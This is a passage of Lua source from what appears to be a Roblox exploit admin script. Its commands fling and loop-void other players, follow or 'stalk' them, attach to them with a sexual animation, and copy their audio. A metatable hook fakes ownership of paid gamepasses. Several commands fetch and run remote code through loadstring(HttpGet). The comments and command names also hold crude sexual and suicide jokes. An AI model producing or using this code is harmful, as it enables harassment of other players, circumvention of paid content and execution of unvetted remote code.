lp.Character.Humanoid.Health = 0 wait(game.Players.RespawnTime + .6) lp.Character.HumanoidRootPart.CFrame = oldpos end) cmd.add({"fling"}, {"fling ", "Fling the given player"}, function(plr) local player = game.Players.LocalPlayer local mouse = player:GetMouse() local Targets = {plr} local Players = game:GetService("Players") local Player = Players.LocalPlayer local AllBool = false local GetPlayer = function(Name) Name = Name:lower() if Name == "all" or Name == "others" then AllBool = true return elseif Name == "random" then local GetPlayers = Players:GetPlayers() if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end return GetPlayers[math.random(#GetPlayers)] elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then for _,x in next, Players:GetPlayers() do if x ~= Player then if x.Name:lower():match("^"..Name) then return x; elseif x.DisplayName:lower():match("^"..Name) then return x; end end end else return end end local Message = function(_Title, _Text, Time) game:GetService("StarterGui"):SetCore("SendNotification", {Title = _Title, Text = _Text, Duration = Time}) end local SkidFling = function(TargetPlayer) local Character = Player.Character local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid") local RootPart = Humanoid and Humanoid.RootPart local TCharacter = TargetPlayer.Character local THumanoid local TRootPart local THead local Accessory local Handle if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = TCharacter:FindFirstChildOfClass("Humanoid") end if THumanoid and THumanoid.RootPart then TRootPart = THumanoid.RootPart end if TCharacter:FindFirstChild("Head") then THead = TCharacter.Head end if TCharacter:FindFirstChildOfClass("Accessory") then Accessory = TCharacter:FindFirstChildOfClass("Accessory") end if Accessoy and Accessory:FindFirstChild("Handle") then Handle = Accessory.Handle end if Character and Humanoid and RootPart then if RootPart.Velocity.Magnitude < 50 then getgenv().OldPos = RootPart.CFrame end if THumanoid and THumanoid.Sit and not AllBool then end if THead then workspace.CurrentCamera.CameraSubject = THead elseif not THead and Handle then workspace.CurrentCamera.CameraSubject = Handle elseif THumanoid and TRootPart then workspace.CurrentCamera.CameraSubject = THumanoid end if not TCharacter:FindFirstChildWhichIsA("BasePart") then return end local FPos = function(BasePart, Pos, Ang) RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang) RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7) RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8) end local SFBasePart = function(BasePart) local TimeToWait = 2 local Time = tick() local Angle = 0 repeat if RootPart and THumanoid then if BasePart.Velocity.Magnitude < 50 then Angle = Angle + 100 FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() else FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)) task.wait() end else break end until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait end workspace.FallenPartsDestroyHeight = 0/0 local BV = Instance.new("BodyVelocity") BV.Name = "EpixVel" BV.Parent = RootPart BV.Velocity = Vector3.new(9e8, 9e8, 9e8) BV.MaxForce = Vector3.new(1/0, 1/0, 1/0) Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false) if TRootPart and THead then if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then SFBasePart(THead) else SFBasePart(TRootPart) end elseif TRootPart and not THead then SFBasePart(TRootPart) elseif not TRootPart and THead then SFBasePart(THead) elseif not TRootPart and not THead and Accessory and Handle then SFBasePart(Handle) else end BV:Destroy() Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true) workspace.CurrentCamera.CameraSubject = Humanoid repeat RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0) Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0)) Humanoid:ChangeState("GettingUp") table.foreach(Character:GetChildren(), function(_, x) if x:IsA("BasePart") then x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new() end end) task.wait() until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25 workspace.FallenPartsDestroyHeight = getgenv().FPDH else end end getgenv().Welcome = true if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end if AllBool then for _,x in next, Players:GetPlayers() do SkidFling(x) end end for _,x in next, Targets do if GetPlayer(x) and GetPlayer(x) ~= Player then if GetPlayer(x).UserId ~= 1414978355 then local TPlayer = GetPlayer(x) if TPlayer then SkidFling(TPlayer) end else end elseif not GetPlayer(x) and not AllBool then end end end) cmd.add({"bypassedfling", "bfling", "nocolfling", "nocollisionfling"}, {"bypassedfling (bfling, nocolfling, nocollisionfling)", "Bypasses the games without collisions that try to stop flingers"}, function(...) --Pusher made by rouxhaver/1+1=2 --Hat resizer and dropper made by DigitalityScripts --This script sometimes works in games without player-collision --INSTRUCTIONS: --use r15 body type --have a classic Rthro Head --wear any Rthro Hats --RECOMMENDED: --https://www.roblox.com/catalog/2493588193/Knights-of-Redcliff-Paladin-Head --https://www.roblox.com/catalog/4381828509/Junkbot-Hat --https://www.roblox.com/catalog/2493590711/Knights-of-Redcliff-Paladin-Helmet --https://www.roblox.com/catalog/2493718915/The-High-Seas-Beatrix-The-Pirate-Queen-Hat loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/hat%20resize%20%2B%20drop'))() loadstring(game:HttpGet("https://raw.githubusercontent.com/rouxhaver/random-sh-t/main/non%20local%20free%20cam%20start.lua"))() loadstring(game:HttpGet("https://raw.githubusercontent.com/rouxhaver/random-sh-t/main/Credit"))() ToggleFreecam() -- Remove this if you don't want free cam or etcetera player = game.Players.LocalPlayer mouse = player:GetMouse() for i,v in pairs(player.Character:GetChildren()) do if v:IsA("Accessory") then _ = Instance.new("SelectionBox",v) _.Adornee = v.Handle game.RunService.Heartbeat:Connect(function() v.Handle.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0) v.Handle.Velocity = Vector3.new(25.70,0,0) v.Handle.CanCollide = false end) if e ~= "e" then game.Players.LocalPlayer:Kick() end coroutine.wrap(function() while task.wait() do v.Handle.Position = mouse.Hit.Position + Vector3.new(math.random(-15,15),math.random(0,15),math.random(-15,15)) v.Handle.Orientation = Vector3.new(math.random(-180,180),math.random(-180,180),math.random(-180,180)) end end)() end end end) cmd.add({"commitoof", "suicide", "kys"}, {"commitoof (suicide, kys)", "FE KILL YOURSELF SCRIPT this will be bad when taken out of context"}, function() local A_1 = "Alright, im gonna do it." local A_2 = "All" local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest Event:FireServer(A_1, A_2) wait(1) local A_1 = "I'm going to commit oof." local A_2 = "All" local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest Event:FireServer(A_1, A_2) wait(1) local A_1 = "Goodbye cruel world." local A_2 = "All" local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest Event:FireServer(A_1, A_2) wait(1) LocalPlayer = game:GetService("Players").LocalPlayer LocalPlayer.Character.Humanoid:MoveTo(LocalPlayer.Character.HumanoidRootPart.Position + LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * 10) LocalPlayer.Character.Humanoid.Jump = true wait(0.5) function Iterate(instance, func) for i, v in next, instance:GetChildren() do func(v) end end limbs = { ["Right Leg"] = true; ["Right Arm"] = true; ["Left Leg"] = true; ["Left Arm"] = true; } Iterate(LocalPlayer.Character, function(v) if v:IsA("BasePart") then local attachment = Instance.new("Attachment") attachment.Parent = v attachment.Name = (v.Name .. "[Attachment]") if limbs[v.Name] then attachment.Position = Vector3.new(0, v.Size.Y/2, 0) elseif v.Name == "Head" then attachment.Position = Vector3.new(0, -v.Size.Y/2, 0) attachment.Rotation = Vector3.new(0, 0, -90) end end end) local leftLegAttachment = Instance.new("Attachment") leftLegAttachment.Position = Vector3.new(-.5, -1, 0) leftLegAttachment.Rotation = Vector3.new(0, -90, 0) local rightLegAttachment = Instance.new("Attachment") rightLegAttachment.Position = Vector3.new(.5, -1, 0) rightLegAttachment.Rotation = Vector3.new(0, -90, 0) rightLegAttachment.Parent, leftLegAttachment.Parent = LocalPlayer.Character.Torso, LocalPlayer.Character.Torso jointAttachments = { ['Head'] = { ['Attachment0'] = LocalPlayer.Character.Torso['NeckAttachment']; ['Attachment1'] = LocalPlayer.Character.Head['Head[Attachment]']; }; ['Left Arm'] = { ['Attachment0'] = LocalPlayer.Character.Torso['LeftCollarAttachment']; ['Attachment1'] = LocalPlayer.Character['Left Arm']['Left Arm[Attachment]']; }; ['Right Arm'] = { ['Attachment0'] = LocalPlayer.Character.Torso['RightCollarAttachment']; ['Attachment1'] = LocalPlayer.Character['Right Arm']['Right Arm[Attachment]']; }; ['Left Leg'] = { ['Attachment0'] = leftLegAttachment; ['Attachment1'] = LocalPlayer.Character['Left Leg']['Left Leg[Attachment]']; }; ['Right Leg'] = { ['Attachment0'] = rightLegAttachment; ['Attachment1'] = LocalPlayer.Character['Right Leg']['Right Leg[Attachment]']; }; } LocalPlayer.Character.Humanoid.PlatformStand = true Iterate(LocalPlayer.Character, function(v) if v:IsA("BasePart") then if jointAttachments[v.Name] then local ballSocketJoint = Instance.new("BallSocketConstraint") ballSocketJoint.Parent = v ballSocketJoint.Radius = 0.15 ballSocketJoint.Attachment0, ballSocketJoint.Attachment1 = jointAttachments[v.Name]['Attachment0'], jointAttachments[v.Name]['Attachment1'] end end end) Iterate(LocalPlayer.Character.Torso, function(v) if v:IsA("Motor") then v:Remove() end game.Players.LocalPlayer.Character.Humanoid.Health = 0 end) end) cmd.add({"goto", "to", "tp", "teleport"}, {"goto ", "Teleport to the given player or X,Y,Z coordinates"}, function(...) Username = (...) local target = getPlr(Username) getChar().HumanoidRootPart.CFrame = target.Character.Humanoid.RootPart.CFrame end) cmd.add({"watch", "view", "specate"}, {"view ", "Watch the given player"}, function(...) game.Workspace.CurrentCamera.CameraSubject = character:FindFirstChildWhichIsA("Humanoid") view = false wait(0.3) view = true Username = (...) local target = getPlr(Username) repeat wait() workspace.CurrentCamera.CameraSubject = target.Character.Humanoid until view == false end) cmd.add({"unwatch", "unview", "unspectate"}, {"unview", "Stop watching a player"}, function() local character = game.Players.LocalPlayer.Character view = false wait(0.3) game.Workspace.CurrentCamera.CameraSubject = character:FindFirstChildWhichIsA("Humanoid") end) cmd.add({"copyaudio", "getaudio"}, {"copyaudio ", "Copy all sounds a player is playing to your clipboard -Cyrus"}, function(p) local players = argument.getPlayers(p) local audios = "" for _, player in pairs(players) do local char = player.Character if char then audios = audios .. ("<<[ %s ]>>"):format(player.Name) for i, v in pairs(char:GetDescendants()) do if v:IsA("Sound") and v.Playing then audios = audios .. ("\n[ %s ]: %s"):format(v.Name, v.SoundId) end end end end setclipboard(audios) end) cmd.add({"pp", "penis"}, {"penis (pp)", "benis :flushed:"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/NamelessAdmin/main/pp"))() end) cmd.add({"stealaudio", "getaudio", "steal", "logaudio"}, {"stealaudio (getaudio, logaudio, steal)", "Save all sounds a player is playing to a file -Cyrus"}, function(p) wait(); Notify({ Description = "Audio link has been copied to your clipboard"; Title = "Nameless Admin"; Duration = 5; }); local players = argument.getPlayers(p) local audios = "" for _, player in pairs(players) do local char = player.Character if char then for i, v in pairs(char:GetDescendants()) do if v:IsA("Sound") and v.Playing then audios = audios .. ("%s"):format(v.SoundId) end end end end setclipboard(audios) end) cmd.add({"follow", "stalk", "walk"}, {"follow ", "Follow a player wherever they go"}, function(p) lib.disconnect("follow") local players = argument.getPlayers(p) local targetPlayer = players[1] lib.connect("follow", RunService.Stepped:Connect(function() local target = targetPlayer.Character if target and character then local hum = character:FindFirstChildWhichIsA("Humanoid") if hum then local targetPart = target:FindFirstChild("Head") local targetPos = targetPart.Position hum:MoveTo(targetPos) end end end)) end) cmd.add({"pathfind"}, {"pathfind ", "Follow a player using the pathfinder API wherever they go"}, function(p) lib.disconnect("follow") local players = argument.getPlayers(p) local targetPlayer = players[1] local debounce = false lib.connect("follow", RunService.Stepped:Connect(function() if debounce then return end debounce = true local target = targetPlayer.Character if target and character then local hum = character:FindFirstChildWhichIsA("Humanoid") local main = target:FindFirstChild("HumanoidRootPart") if hum then local targetPart = target:FindFirstChild("HumanoidRootPart") or target:FindFirstChild("Head") local targetPos = (targetPart.CFrame * CFrame.new(0, 0, -0.5)).p local PathService = game:GetService("PathfindingService") local path = PathService:CreatePath({ AgentRadius = 2, AgentHeight = 5, AgentCanJump = true }) local points = path:ComputeAsync(main.Position, targetPos) if path.Status then local waypoints = path:GetWaypoints() for i, waypoint in pairs(waypoints) do if i > 2 then break end if waypoint.Action == Enum.PathWaypointAction.Jump then hum.Jump = true end hum:MoveTo(waypoint.Position) local distance = 5 repeat wait() distance = (waypoint.Position - main.Position).magnitude until (targetPos - targetPart.Position).magnitude > 2 or distance < 1 if (targetPos - targetPart.Position).magnitude > 2 then break end end end end end debounce = false end)) end) cmd.add({"unfollow", "unstalk", "unwalk", "unpathfind"}, {"unfollow", "Stop all attempts to follow a player"}, function() lib.disconnect("follow") end) cmd.add({"fechat"}, {"fechat", "/e chat displayname"}, function() wait(); Notify({ Description = "FEChat enabled, /e chat displayname to use"; Title = "Nameless Admin"; Duration = 5; }); loadstring(game:HttpGet("https://raw.githubusercontent.com/rouxhaver/scripts/main/FE%20chat%20for%20someone.Lua"))() end) cmd.add({"translatechat"}, {"translatechat", "translates the chat using google translate api"}, function() wait(); Notify({ Description = "Chat translated"; Title = "Nameless Admin"; Duration = 5; }); loadstring(game:HttpGetAsync("https://raw.githubusercontent.com/x114/RobloxScripts/main/UpdatedChatTranslator"))() end) cmd.add({"freeze", "thaw", "anchor"}, {"freeze (thaw, anchor)", "Freezes your character"}, function() game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true end) cmd.add({"unfreeze", "unthaw", "unanchor"}, {"unfreeze (unthaw, unanchor)", "Unfreezes your character"}, function() game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false end) cmd.add({"disableanimations", "disableanims"}, {"disableanimations (disableanims)", "Freezes your animations"}, function() game.Players.LocalPlayer.Character.Animate.Disabled = true end) cmd.add({"undisableanimations", "undisableanims"}, {"undisableanimations (undisableanims)", "Unfreezes your animations"}, function() game.Players.LocalPlayer.Character.Animate.Disabled = false end) cmd.add({"headresize"}, {"headresize", "Makes your head very big r15 only"}, function() for i,v in pairs(game.Players.LocalPlayer.Character.Humanoid:GetChildren()) do if string.find(v.Name,"Scale") and v.Name ~= "HeadScale" then repeat wait(HeadGrowSpeed) until game.Players.LocalPlayer.Character.Head:FindFirstChild("OriginalSize") game.Players.LocalPlayer.Character.Head.OriginalSize:Destroy() v:Destroy() game.Players.LocalPlayer.Character.Head:WaitForChild("OriginalSize") end end end) cmd.add({"hatresize"}, {"hatresize", "Makes your hats very big r15 only"}, function() wait(); Notify({ Description = "Hat resize loaded, rthro needed."; Title = "Nameless Admin"; Duration = 5; }); loadstring(game:HttpGet('https://github.com/DigitalityScripts/roblox-scripts/raw/main/hat%20resize'))() end) cmd.add({"legresize"}, {"legresize", "Makes your legs very big r15 only"}, function() wait(); Notify({ Description = "Leg resize loaded, R15 only"; Title = "Nameless Admin"; Duration = 5; }); game.Players.LocalPlayer.Character.Animate.Disabled = true loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() end) cmd.add({"fat", "nikocadoavocado"}, {"fat (nikocadoavocado)", "fat"}, function() local LocalPlayer = game:GetService("Players").LocalPlayer local Character = LocalPlayer.Character local Humanoid = Character:FindFirstChildOfClass("Humanoid") local function rm() for i,v in pairs(Character:GetDescendants()) do if v:FindFirstChild("AvatarPartScaleType") then v:FindFirstChild("AvatarPartScaleType"):Destroy() end end end rm() wait(0.1) Humanoid:FindFirstChild("BodyWidthScale"):Destroy() wait(0.2) rm() wait(0.5) Humanoid:FindFirstChild("BodyTypeScale"):Destroy() wait(0.2) end) cmd.add({"small"}, {"small", "Makes you short r15 only"}, function() wait(); Notify({ Description = "Making you small.. r15 needed"; Title = "Nameless Admin"; Duration = 5; }); --Shit ass script made by failedmite57926 local LocalPlayer = game:GetService("Players").LocalPlayer local Character = LocalPlayer.Character local Humanoid = Character:FindFirstChildOfClass("Humanoid") local function rm() for i,v in pairs(Character:GetDescendants()) do if v:IsA("BasePart") then if v.Name ~= "Head" then for i,cav in pairs(v:GetDescendants()) do if cav:IsA("Attachment") then if cav:FindFirstChild("OriginalPosition") then cav.OriginalPosition:Destroy() end end end v:FindFirstChild("OriginalSize"):Destroy() if v:FindFirstChild("AvatarPartScaleType") then v:FindFirstChild("AvatarPartScaleType"):Destroy() end end end end end rm() wait(0.5) Humanoid:FindFirstChild("BodyTypeScale"):Destroy() wait(0.2) rm() wait(0.5) Humanoid:FindFirstChild("BodyWidthScale"):Destroy() wait(0.2) rm() wait(0.5) Humanoid:FindFirstChild("BodyDepthScale"):Destroy() wait(0.2) rm() wait(0.5) Humanoid:FindFirstChild("HeadScale"):Destroy() wait(0.2) end) cmd.add({"loopfling"}, {"loopfling ", "Loop voids a player"}, function(plr) local Targets = {plr} Loopvoid = true repeat wait() local player = game.Players.LocalPlayer local mouse = player:GetMouse() local Players = game:GetService("Players") local Player = Players.LocalPlayer local AllBool = false local GetPlayer = function(Name) Name = Name:lower() if Name == "all" or Name == "others" then AllBool = true return elseif Name == "random" then local GetPlayers = Players:GetPlayers() if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end return GetPlayers[math.random(#GetPlayers)] elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then for _,x in next, Players:GetPlayers() do if x ~= Player then if x.Name:lower():match("^"..Name) then return x; elseif x.DisplayName:lower():match("^"..Name) then return x; end end end else return end end local Message = function(_Title, _Text, Time) game:GetService("StarterGui"):SetCore("SendNotification", {Title = _Title, Text = _Text, Duration = Time}) end local SkidFling = function(TargetPlayer) local Character = Player.Character local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid") local RootPart = Humanoid and Humanoid.RootPart local TCharacter = TargetPlayer.Character local THumanoid local TRootPart local THead local Accessory local Handle if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = TCharacter:FindFirstChildOfClass("Humanoid") end if THumanoid and THumanoid.RootPart then TRootPart = THumanoid.RootPart end if TCharacter:FindFirstChild("Head") then THead = TCharacter.Head end if TCharacter:FindFirstChildOfClass("Accessory") then Accessory = TCharacter:FindFirstChildOfClass("Accessory") end if Accessoy and Accessory:FindFirstChild("Handle") then Handle = Accessory.Handle end if Character and Humanoid and RootPart then if RootPart.Velocity.Magnitude < 50 then getgenv().OldPos = RootPart.CFrame end if THumanoid and THumanoid.Sit and not AllBool then return Message("Error Occurred", "Targeting is sitting", 5) -- u can remove dis part if u want lol end if THead then workspace.CurrentCamera.CameraSubject = THead elseif not THead and Handle then workspace.CurrentCamera.CameraSubject = Handle elseif THumanoid and TRootPart then workspace.CurrentCamera.CameraSubject = THumanoid end if not TCharacter:FindFirstChildWhichIsA("BasePart") then return end local FPos = function(BasePart, Pos, Ang) RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang) RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7) RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8) end local SFBasePart = function(BasePart) local TimeToWait = 2 local Time = tick() local Angle = 0 repeat if RootPart and THumanoid then if BasePart.Velocity.Magnitude < 50 then Angle = Angle + 100 FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0)) task.wait() else FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0)) task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)) task.wait() end else break end until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait end workspace.FallenPartsDestroyHeight = 0/0 local BV = Instance.new("BodyVelocity") BV.Name = "EpixVel" BV.Parent = RootPart BV.Velocity = Vector3.new(9e8, 9e8, 9e8) BV.MaxForce = Vector3.new(1/0, 1/0, 1/0) Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false) if TRootPart and THead then if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then SFBasePart(THead) else SFBasePart(TRootPart) end elseif TRootPart and not THead then SFBasePart(TRootPart) elseif not TRootPart and THead then SFBasePart(THead) elseif not TRootPart and not THead and Accessory and Handle then SFBasePart(Handle) else return Message("Error Occurred", "Target is missing everything", 5) end BV:Destroy() Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true) workspace.CurrentCamera.CameraSubject = Humanoid repeat RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0) Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0)) Humanoid:ChangeState("GettingUp") table.foreach(Character:GetChildren(), function(_, x) if x:IsA("BasePart") then x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new() end end) task.wait() until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25 workspace.FallenPartsDestroyHeight = getgenv().FPDH else return Message("Error Occurred", "Random error", 5) end end if not Welcome then Message("Script by AnthonyIsntHere", "Enjoy!", 5) end getgenv().Welcome = true if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end if AllBool then for _,x in next, Players:GetPlayers() do SkidFling(x) end end for _,x in next, Targets do if GetPlayer(x) and GetPlayer(x) ~= Player then if GetPlayer(x).UserId ~= 1414978355 then local TPlayer = GetPlayer(x) if TPlayer then SkidFling(TPlayer) end else Message("Error Occurred", "This user is whitelisted! (Owner)", 5) end elseif not GetPlayer(x) and not AllBool then Message("Error Occurred", "Username Invalid", 5) end end until Loopvoid == false end) cmd.add({"freegamepass", "freegp"}, {"freegamepass (freegp)", "Makes the client think you own every gamepass in the game"}, function() local mt = getrawmetatable(game); local old = mt.__namecall local readonly = setreadonly or make_writeable local MarketplaceService = game:GetService("MarketplaceService"); readonly(mt, false); mt.__namecall = function(self, ...) local args = {...} local method = table.remove(args) if (self == MarketplaceService and method:find("UserOwnsGamePassAsync")) then return true and 1 end return old(self, ...) end wait(); Notify({ Description = "Free gamepass has been executed, keep in mind this wont always work."; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"bang", "fuck"}, {"bang ", "Bangs the player by attaching to them"}, function(...) RunService = game:GetService("RunService") function getTorso(x) x = x or game.Players.LocalPlayer.Character return x:FindFirstChild("Torso") or x:FindFirstChild("UpperTorso") or x:FindFirstChild("LowerTorso") or x:FindFirstChild("HumanoidRootPart") end function getRoot(char) local rootPart = game.Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart') or game.Players.LocalPlayer.Character:FindFirstChild('Torso') or game.Players.LocalPlayer.Character:FindFirstChild('UpperTorso') return rootPart end speed = "10" Username = (...) local players = getPlr(Username) bangAnim = Instance.new("Animation") if not r15(game.Players.LocalPlayer) then bangAnim.AnimationId = "rbxassetid://148840371" else bangAnim.AnimationId = "rbxassetid://5918726674" end bang = game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(bangAnim) bang:Play(.1, 1, 1) if speed then bang:AdjustSpeed(speed) else bang:AdjustSpeed(3) end local bangplr = players.Name bangDied = game.Players.LocalPlayer.Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function() bangLoop = bangLoop:Disconnect() bang:Stop() bangAnim:Destroy() bangDied:Disconnect() end) local bangOffet = CFrame.new(0, 0, 1.1) bangLoop = RunService.Stepped:Connect(function() pcall(function() local otherRoot = getTorso(game.Players[bangplr].Character) getRoot(game.Players.LocalPlayer.Character).CFrame = otherRoot.CFrame * bangOffet end) end) wait(); Notify({ Description = "Banging player..."; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"spook", "scare"}, {"spook (scare)", "Teleports next to a player for a few seconds"}, function(...) LocalPlayer = game.Players.LocalPlayer Username = (...) Target = getPlr(Username) local oldCF = LocalPlayer.Character.HumanoidRootPart.CFrame Target = getPlr(Username) distancepl = 2 if Target.Character and Target.Character:FindFirstChild('Humanoid') then LocalPlayer.Character.HumanoidRootPart.CFrame = Target.Character.HumanoidRootPart.CFrame + Target.Character.HumanoidRootPart.CFrame.lookVector * distancepl LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(LocalPlayer.Character.HumanoidRootPart.Position, Target.Character.HumanoidRootPart.Position) wait(.5) LocalPlayer.Character.HumanoidRootPart.CFrame = oldCF end end) cmd.add({"unbang", "unfuck"}, {"unbang", "Unbangs the player"}, function() if bangLoop then bangLoop = bangLoop:Disconnect() bang:Stop() bangAnim:Destroy() bangDied:Disconnect() end end) cmd.add({"unairwalk", "unaw"}, {"unairwalk (unaw)", "Stops the airwalk command"}, function() local function SendNotification(Title, Text, Label, Length) game.StarterGui:SetCore('SendNotification', {Title = Title; Text = Text; Icon = Label; Duration = Length }) end for i, v in pairs(workspace:GetChildren()) do if tostring(v) == "Airwalk" then v:Destroy() wait(); Notify({ Description = "Airwalk: OFF"; Title = "Nameless Admin"; Duration = 5; }); end end end) cmd.add({"airwalk", "aw"}, {"airwalk (aw)", "Press space to go up, unairwalk to stop"}, function() wait(); Notify({ Description = "Airwalk: On"; Title = "Nameless Admin"; Duration = 5; }); local Chat = game:GetService('Players').LocalPlayer.Chatted local function AirWalk() local AirWPart = Instance.new("Part", workspace) local crtl = true local Mouse = 